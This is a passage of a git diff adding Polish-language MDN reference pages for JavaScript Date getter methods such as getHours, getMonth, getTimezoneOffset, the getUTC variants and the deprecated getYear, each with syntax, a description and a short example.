+<p>Zwraca godzinę określonej daty, stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getHours</code> jest liczbą całkowitą z przedziału od 0 do 23.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getHours" name="Przyk.C5.82ad:_Zastosowanie_getHours">Przykład: Zastosowanie <code>getHours()</code></h3> + +<p>Druga instrukcja poniżej przydziela wartość liczby 23 zmiennej <code>hours</code>, opartej o wartość <code>Date</code> obiektu <code>Xmas95</code>.</p> + +<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00"); +var hours = Xmas95.getHours(); + +console.log(hours); // 23 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCHours()")}}</li> + <li>{{jsxref("Date.prototype.setHours()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html new file mode 100644 index 0000000000..1ab98844fc --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca milisekundy określonej daty, stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getMilliseconds()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getMilliseconds</code> jest liczbą pomiędzy 0 a 999.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_getMilliseconds">Przykład: Zastosowanie <code>getMilliseconds()</code></h3> + +<p>Następujący przykład przydziela liczbę milisekund aktualnego czasu do zmiennej <code>ms</code>.</p> + +<pre class="brush: js">var today = new Date(); +var ms = today.getMilliseconds(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li> + <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html new file mode 100644 index 0000000000..3ee877bd14 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html @@ -0,0 +1,48 @@ +--- +title: Date.prototype.getMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/getMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca minuty dla określonej daty w zależności od czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getMinutes()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getMinutes</code> jest liczbą całkowitą z przedziału od 0 do 59.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getMinutes" name="Przyk.C5.82ad:_Zastosowanie_getMinutes">Przykład: Zastosowanie <code>getMinutes</code></h3> + +<p>Druga instrukcja poniżej przypisuje wartość 15 do zmiennej <code>minutes</code>, bazując na wartości obiektu <code>Xmas95</code> typu <code>Date</code>.</p> + +<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00"); +var minutes = Xmas95.getMinutes(); + +console.log(minutes); // 15 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<div class="noinclude"> +<ul> + <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li> + <li>{{jsxref("Date.prototype.setMinutes()")}}</li> +</ul> +</div> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html new file mode 100644 index 0000000000..bf3e74b56b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.getMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/getMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca miesiąc dla określonej daty w zależności od czasu lokalnego.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="syntaxbox"><code><var>dateObj</var>.getMonth()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getMonth</code> jest liczbą całkowitą z przedziału od 0 do 11. 0 reprezentuje styczeń, 1 luty, i tak dalej.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getMonth" name="Przyk.C5.82ad:_Zastosowanie_getMonth">Przykład: Zastosowanie <code>getMonth()</code></h3> + +<p>Druga instrukcja z przykładu poniżej przypisuje wartość 11 zmiennej <code>month</code>, bazując na wartości obiektu <code>Xmas95</code> typu <code>Date</code>.</p> + +<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00"); +var month = Xmas95.getMonth(); + +console.log(month); // 11 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li> + <li>{{jsxref("Date.prototype.setMonth()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html new file mode 100644 index 0000000000..f471165425 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.getSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getSeconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca sekundy dla określonej daty w zależności od czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getSeconds()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getSeconds</code> jest liczbą całkowitą z przedziału od 0 do 59.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getSeconds" name="Przyk.C5.82ad:_Zastosowanie_getSeconds">Przykład: Zastosowanie <code>getSeconds()</code></h3> + +<p>Druga instrukcja poniżej przypisuje wartość 30 do zmiennej <code>secs</code>, bazując na wartości obiektu <code>Xmas95</code> typu <code>Date</code>.</p> + +<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:30"); +var seconds = Xmas95.getSeconds(); + +console.log(seconds); // 30 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li> + <li>{{jsxref("Date.prototype.setSeconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html b/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html new file mode 100644 index 0000000000..a57da23566 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/gettime/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getTime() +slug: Web/JavaScript/Referencje/Obiekty/Date/getTime +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca liczbę reprezentującą czas dla określonej daty stosownie do czasu uniwersalnego.</p> + +<p>Może być wykorzystana do przypisania daty i czasu do innego obiektu {{jsxref("Date")}}. Ta metoda jest funkcjonalnie równoważna metodzie {{jsxref("Date.valueof", "valueOf()")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez metodę <code>getTime</code> jest liczbą milisekund liczoną od 1 stycznia 1970 00:00:00.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getTime" name="Przyk.C5.82ad:_Zastosowanie_getTime">Przykład: Zastosowanie <code>getTime()</code></h3> + +<p>Następująca instrukcja przypisuje wartość daty <code>theBigDay</code> do <code>sameAsBigDay</code>:</p> + +<pre class="brush: js">var theBigDay = new Date("July 1, 1999"); +var sameAsBigDay = new Date(); +sameAsBigDay.setTime(theBigDay.getTime()); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.setTime()")}}</li> + <li>{{jsxref("Date.prototype.valueOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html b/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html new file mode 100644 index 0000000000..7805486fde --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html @@ -0,0 +1,35 @@ +--- +title: Date.prototype.getTimezoneOffset() +slug: Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca przesunięcie strefy czasowej w minutach dla bieżącej lokalizacji.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getTimezoneOffset()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Przesunięcie strefy czasowej jest to różnica, wyrażona w minutach, pomiędzy <strong>Greenwich Mean Time</strong> (<strong>GMT</strong>) a bieżącym czasem lokalnym. Na przykład, jeśli aktualna strefa to GMT+10, wynikiem jest -600. Wartość nie jest liczbą stałą ze względu na zmiany czasu na letni i zimowy.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_getTimezoneOffset" name="Przyk.C5.82ad:_Zastosowanie_getTimezoneOffset">Przykład: Zastosowanie <code>getTimezoneOffset()</code></h4> + +<pre class="brush: js">var x = new Date(); +var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60; +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html new file mode 100644 index 0000000000..54f031b3d6 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.getUTCDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDate +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca dzień (datę) miesiąca dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDate()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartością zwracaną przez <code>getUTCDate</code> jest liczba całkowita z przedziału od 1 do 31.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCDate" name="Przyk.C5.82ad:_Zastosowanie_getUTCDate">Przykład: Zastosowanie <code>getUTCDate()</code></h3> + +<p>Następujący przykład przypisuje aktualny dzień miesiąca do zmiennej <code>d</code>.</p> + +<pre class="brush: js">var today = new Date(); +var d = today.getUTCDate(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getDate()")}}</li> + <li>{{jsxref("Date.prototype.getUTCDay()")}}</li> + <li>{{jsxref("Date.prototype.setUTCDate()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html new file mode 100644 index 0000000000..4ce3b4207b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html @@ -0,0 +1,45 @@ +--- +title: Date.prototype.getUTCDay() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCDay +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca dzień tygodnia dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDay()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getUTCDay</code> jest liczbą całkowitą określającą dzień tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku itd.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCDay" name="Przyk.C5.82ad:_Zastosowanie_getUTCDay">Przykład: Zastosowanie <code>getUTCDay()</code></h3> + +<p>Następujący przykład przypisuje aktualny dzień tygodnia do zmiennej <code>weekday</code>.</p> + +<pre class="brush: js">var today = new Date(); +var weekday = today.getUTCDay(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCDate()")}}</li> + <li>{{jsxref("Date.prototype.getDay()")}}</li> + <li>{{jsxref("Date.prototype.setUTCDate()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html new file mode 100644 index 0000000000..646affed0e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca rok dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCFullYear()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartością zwracaną przez <code>getUTCFullYear</code> jest dodatnia liczba całkowita, zgodna z rokiem 2000, na przykład 1995.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCFullYear" name="Przyk.C5.82ad:_Zastosowanie_getUTCFullYear">Przykład: Zastosowanie <code>getUTCFullYear()</code></h3> + +<p>Następujący przykład przypisuje czterocyfrową liczbę aktualnego roku do zmiennej <code>yr</code>.</p> + +<pre class="brush: js">var today = new Date(); +var year = today.getUTCFullYear(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setFullYear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html new file mode 100644 index 0000000000..0006fab388 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCHours +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca godziny dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCHours()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getUTCHours</code> jest liczbą całkowitą z przedziału od 0 do 23.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCHours" name="Przyk.C5.82ad:_Zastosowanie_getUTCHours">Przykład: Zastosowanie <code>getUTCHours()</code></h3> + +<p>Następujący przykład przypisuje część aktualnej daty określającą godzinę do zmiennej <code>hrs</code>.</p> + +<pre class="brush: js">var today = new Date(); +var hours = today.getUTCHours(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getHours()")}}</li> + <li>{{jsxref("Date.prototype.setUTCHours()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html new file mode 100644 index 0000000000..de048d2998 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCMilliseconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca milisekundy dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMilliseconds()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana <code>getUTCMilliseconds</code> jest liczbą całkowitą z przedziału od 0 do 999.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCMilliseconds" name="Przyk.C5.82ad:_Zastosowanie_getUTCMilliseconds">Przykład: Zastosowanie <code>getUTCMilliseconds()</code></h3> + +<p>Następujący przykład przypisuje część aktualnej daty określającą liczbę milisekund do zmiennej <code>ms</code>.</p> + +<pre class="brush: js">var today = new Date(); +var ms = today.getUTCMilliseconds(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li> + <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html new file mode 100644 index 0000000000..aabc9f16e7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCMinutes() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca minuty dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMinutes()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getUTCMinutes()</code> jest liczbą całkowitą z przedziału od 0 do 59.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCMinutes" name="Przyk.C5.82ad:_Zastosowanie_getUTCMinutes">Przykład: Zastosowanie <code>getUTCMinutes()</code></h3> + +<p>Następujący przykład przypisuje część aktualnej daty określającą minuty do zmiennej <code>min</code>.</p> + +<pre class="brush: js">var today = new Date(); +var min = today.getUTCMinutes(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getMinutes()")}}</li> + <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html new file mode 100644 index 0000000000..75899683a3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCMonth() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca miesiąc dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMonth()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getUTCMonth()</code> jest liczbą całkowitą z przedziału od 0 do 11 odpowiadającą miesiącowi: 0 dla stycznia, 1 dla lutego, 2 dla marca, i tak dalej.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCMonth" name="Przyk.C5.82ad:_Zastosowanie_getUTCMonth">Przykład: Zastosowanie <code>getUTCMonth()</code></h3> + +<p>Następujący przykład przypisuje aktualny miesiąc do zmiennej <code>mon</code>.</p> + +<pre class="brush: js">var today = new Date(); +var mon = today.getUTCMonth(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getMonth()")}}</li> + <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html new file mode 100644 index 0000000000..82f9d40634 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.getUTCSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca sekundy dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getUTCSeconds()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getUTCSeconds()</code> jest liczbą całkowitą z przedziału od 0 do 59.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getUTCSeconds" name="Przyk.C5.82ad:_Zastosowanie_getUTCSeconds">Przykład: Zastosowanie <code>getUTCSeconds()</code></h3> + +<p>Następujący przykład przypisuje część aktualnej daty określającą liczbę sekund do zmiennej <code>sec</code>.</p> + +<pre class="brush: js">var today = new Date(); +var sec = today.getUTCSeconds(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getSeconds()")}}</li> + <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html new file mode 100644 index 0000000000..fdb3c10d75 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getyear/index.html @@ -0,0 +1,97 @@ +--- +title: Date.prototype.getYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/getYear +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getYear +--- +<p>{{JSRef}}{{ Deprecated_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca rok dla określonej daty w zależności od czasu lokalnego. Metoda <code>getYear</code> nie jest dłużej wykorzystywana i została zastąpiona metodą {{jsxref("Date.prototype.getFullYear", "getFullYear()")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getYear()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>getYear</code> zwraca rok minus 1900; tak więc:</p> + +<ul> + <li>Dla lat późniejszych lub równych 2000, wartość zwracana przez <code>getYear</code> wynosi 100 lub więcej. Przykładowo, dla roku 2026, <code>getYear</code> zwraca 126.</li> +</ul> + +<ul> + <li>Dla lat pomiędzy i włącznie z latami 1900 i 1999, wartość zwracana przez <code>getYear</code> zawiera się w przedziale od 0 do 99. Na przykład, jeśli mamy rok 1976, <code>getYear</code> zwraca 76.</li> +</ul> + +<ul> + <li>Dla lat wcześniejszych niż 1900, wartość zwracana przez <code>getYear</code> jest mniejsza niż 0. Na przykład, dla roku 1800, <code>getYear</code> zwraca -100.</li> +</ul> + +<p>Aby obsłużyć lata zarówno przed jak 